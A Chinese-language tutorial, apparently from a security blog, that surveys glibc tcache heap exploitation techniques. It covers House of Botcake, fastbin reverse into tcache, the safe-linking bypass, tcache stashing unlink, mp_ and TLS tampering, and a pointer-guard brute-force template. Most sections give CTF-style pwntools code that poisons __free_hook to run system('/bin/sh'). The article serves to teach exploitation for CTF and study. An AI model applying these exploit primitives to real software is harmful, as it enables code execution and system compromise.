堆攻击tcache常见利用手法总结
字数 1552 2025-08-20 18:17:41

Tcache攻击手法全面解析

House of Botcake

核心原理

  • 构造一个chunk同时存在于unsorted bin和tcache中
  • 通过unsorted bin修改该chunk的next值为__free_hook
  • 使得tcache结构变为:chunk -> __free_hook
  • 通过两次malloc实现任意地址写

利用条件

  • 需要有UAF漏洞
  • chunk list不被清空即可,mark标记影响不大

典型利用步骤

  1. 填充tcache bin链表
  2. 将一个chunkA free到unsorted bin中
  3. 将chunkA的prev chunk(chunkB) free掉,使A、B合并
  4. 申请一个chunk在tcache bin中给chunkA留下空间
  5. 再次free chunkA,使其既在unsorted bin又在tcache中
  6. 通过unsorted bin修改chunkA的fd指针指向__free_hook
  7. 两次malloc实现任意地址写

示例代码

# 填充tcache
for i in range(7):
    add(i, 0x80, 'a')

add(7, 0x80, 'a')
add(8, 0x80, 'a')
add(9, 0x20, 'b')

# 清空tcache
for i in range(7):
    delete(i)

delete(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
__free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]

# 触发unlink
delete(7)
add(10, 0x80, 'a')

# 再次free使chunk同时在unsorted bin和tcache中
delete(8)

# tcache poison攻击
payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(__free_hook)
add(11, 0xa0, payload)
add(12, 0x80, '/bin/sh\x00')
add(13, 0x80, p64(system_addr))
delete(12)

Fastbin Reverse into Tcache

低版本(libc 2.27-2.31)

  1. 填满tcache
  2. 放7个chunk进fastbin
  3. 将第一个放进fastbin的chunk的fd改成目标地址
  4. 清空tcache
  5. 申请一个fastbin出来,将target链入tcache头部

高版本(libc 2.32+)

  • 对tcache和fastbin的fd指针进行加密
  • 加密方式:当前chunk地址>>12与fd值异或
  • 需要先计算目标地址与地址>>12的异或值

示例代码

# 修改tcache count
add(0)
add(1)
free(0)
free(1)
heap = heapbase + 0x10
edit(1, p64(xor^heap))
add(0)
add(0)
edit(0, p64(0))

# 填充fastbin
add(1)  # change fd
add(2)  # full fastbin
free(1)
edit(0, p64(2))
edit(1, p64(xor^heapbase+0x90))
add(1)
add(1)

# 填满tcache
for i in range(7):
    edit(0, p64(0))
    add(2)
    edit(0, p64(i))
    free(2)

edit(0, p64(0))
add(2)
edit(0, p64(7))
free(2)
edit(2, p64(xor^(io_list_all+0x70)))

# 用tcache中的chunk填满fastbin
for i in range(6):
    add(2)
    edit(0, p64(7))
    free(2)
    edit(0, p64(6-i))

edit(0, p64(0))
edit(1, p64(io_list_all>>12))

# 触发fastbin reverse into tcache
add(2)

Decrypt Safe Unlink

libc 2.32+变化

  • 增加了对next域的限制
  • 需要稍作修改才能利用

示例代码

add(0x60, 'a'*0x10)  #0
add(0x60, 'b'*0x10)  #1
delete(0)
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))<<12

add(0x60, 'b')  #2
delete(1)  # tcache 0x70: 0=2->1
delete(0)

# 填充tcache
for i in range(3, 11):
    add(0x80, 's')

add(0x10, 'prevent chunk')
for i in range(3, 11):
    delete(i)

show(10)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1e3c00
free_hook = libc_base + libc.symbols['__free_hook']
sys_addr = libc_base + libc.symbols['system']
value = ((heap_base + 0x2a0)>>12) ^ free_hook

edit(2, p64(value))
add(0x60, '/bin/sh\x00')
add(0x60, p64(sys_addr))
delete(12)

Tcache Stashing Unlink Attack

核心原理

  1. 获得任意地址target_addr的控制权
  2. 在任意地址target_addr写入大数值

利用条件

  • 需要UAF漏洞
  • 主要适用于只有calloc并且可以分配tcache大小的chunk的情况

典型利用步骤

  1. 让tcache中有6个目标大小的chunk
  2. 通过切割unsorted bin来得到smallbin的堆块
  3. 控制smallbin的bk指针
  4. 触发tcache stashing unlink attack

示例代码

# 让tcache中有6个0xb0的chunk
for i in range(6):
    calloc(0xa0)
    free(i)

# 通过切割unsorted bin来得到smallbin的堆块
calloc(0x4b0)  #9
calloc(0xb0)   #10
free(9)        # 此时smallbin有1个0xb0的chunk
calloc(0x400)
calloc(0x4b0)  #11
calloc(0xb0)   #12
free(11)       # 此时smallbin有2个0xb0的chunk
calloc(0x400)  #13

# 修改smallbin的bk指针
edit(11, b'\x00'*0x400 + p64(prev_size) + p64(size) + p64(heapbase+0xb00) + p64(target_addr-0x10))

# 触发tcache stashing unlink attack
calloc(0xa0)

修改mp_结构体

核心原理

  • 修改mp_.tcache_bins值让tcache中的bin数变多
  • 使largebin进入tcache
  • 通过修改tcache的entries实现任意地址写

典型利用步骤

  1. 泄露libc基址和heap基址
  2. 计算mp_.tcache_bins地址
  3. 通过largebin attack修改mp_.tcache_bins
  4. 修改tcache的entries指向目标地址
  5. malloc获取目标地址的控制权

示例代码

# 泄露libcbase
add(1, 0x500)
add(2, 0x600)
add(3, 0x700)
delete(1)
delete(3)
add(4, 0x700)
show(1)
out = u64(p.recv(6).ljust(8, b"\x00"))
libcbase = out - libc.sym['__malloc_hook'] - 1168 - 0x10
free_hook = base + libc.sym['__free_hook']
system = base + libc.sym['system']

# largebin attack修改mp_.tcache_bins
mp_offset = 0x1e3280
mp_ = libcbase + mp_offset
target = mp_ + 0x50

add(15, 0x500)  # take out 1
add(5, 0x700)   # chunk1
add(6, 0x500)
add(7, 0x6f0)    # chunk2
add(8, 0x500)
delete(5)
add(9, 0x900)
show(5)
fd = u64(p.recv(6).ljust(8, b"\x00"))
edit(5, p64(fd)*2 + p64(0) + p64(target-0x20))
delete(7)
add(10, 0x900)

# 修改tcache entries
edit(1, p64(0)*13 + p64(free_hook))
add(3, 0x500)
edit(3, p64(system))
edit(6, b'/bin/sh\x00')
delete(6)

TLS相关攻击

修改线程tcache变量

  • TLS区域有一个线程变量tcache
  • 可以用largebin attack修改tcache变量控制tcache分配
  • 指向的位置是heapbase+0x10,即tcache_perthread_struct结构从counts开始的地方

pointer guard加密

  • 加密方式:rol(ptr ^ pointer_guard, 0x11, 64)
  • 解密方式:ror(enc, 0x11, 64) ^ pointer_guard
  • 加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)]

远程爆破TLS

  • 当ld.so距离libc基址的位置不确定时
  • 爆破偏移值的末四位和第五位数(末三位不变)
  • 示例爆破模板:
for x in range(0x10):
    for y in range(0x10):
        try:
            libc_base = 0x1234
            offset = 0x6 << 20
            offset += x << 16
            offset += y << 12
            ld_base = libc_base + offset
            log.success("try offset:\t" + hex(offset))
            # your code
            sh.interactive()
        except EOFError:
            sh.close()
Tcache攻击手法全面解析 House of Botcake 核心原理 构造一个chunk同时存在于unsorted bin和tcache中 通过unsorted bin修改该chunk的next值为 __free_hook 使得tcache结构变为: chunk -> __free_hook 通过两次malloc实现任意地址写 利用条件 需要有UAF漏洞 chunk list不被清空即可,mark标记影响不大 典型利用步骤 填充tcache bin链表 将一个chunkA free到unsorted bin中 将chunkA的prev chunk(chunkB) free掉,使A、B合并 申请一个chunk在tcache bin中给chunkA留下空间 再次free chunkA,使其既在unsorted bin又在tcache中 通过unsorted bin修改chunkA的fd指针指向 __free_hook 两次malloc实现任意地址写 示例代码 Fastbin Reverse into Tcache 低版本(libc 2.27-2.31) 填满tcache 放7个chunk进fastbin 将第一个放进fastbin的chunk的fd改成目标地址 清空tcache 申请一个fastbin出来,将target链入tcache头部 高版本(libc 2.32+) 对tcache和fastbin的fd指针进行加密 加密方式: 当前chunk地址>>12 与fd值异或 需要先计算目标地址与 地址>>12 的异或值 示例代码 Decrypt Safe Unlink libc 2.32+变化 增加了对next域的限制 需要稍作修改才能利用 示例代码 Tcache Stashing Unlink Attack 核心原理 获得任意地址target_ addr的控制权 在任意地址target_ addr写入大数值 利用条件 需要UAF漏洞 主要适用于只有calloc并且可以分配tcache大小的chunk的情况 典型利用步骤 让tcache中有6个目标大小的chunk 通过切割unsorted bin来得到smallbin的堆块 控制smallbin的bk指针 触发tcache stashing unlink attack 示例代码 修改mp_ 结构体 核心原理 修改 mp_.tcache_bins 值让tcache中的bin数变多 使largebin进入tcache 通过修改tcache的entries实现任意地址写 典型利用步骤 泄露libc基址和heap基址 计算 mp_.tcache_bins 地址 通过largebin attack修改 mp_.tcache_bins 修改tcache的entries指向目标地址 malloc获取目标地址的控制权 示例代码 TLS相关攻击 修改线程tcache变量 TLS区域有一个线程变量tcache 可以用largebin attack修改tcache变量控制tcache分配 指向的位置是heapbase+0x10,即tcache_ perthread_ struct结构从counts开始的地方 pointer guard加密 加密方式: rol(ptr ^ pointer_guard, 0x11, 64) 解密方式: ror(enc, 0x11, 64) ^ pointer_guard 加密使用的key来自 fs:[offsetof(tcbhead_t, pointer_guard)] 远程爆破TLS 当ld.so距离libc基址的位置不确定时 爆破偏移值的末四位和第五位数(末三位不变) 示例爆破模板: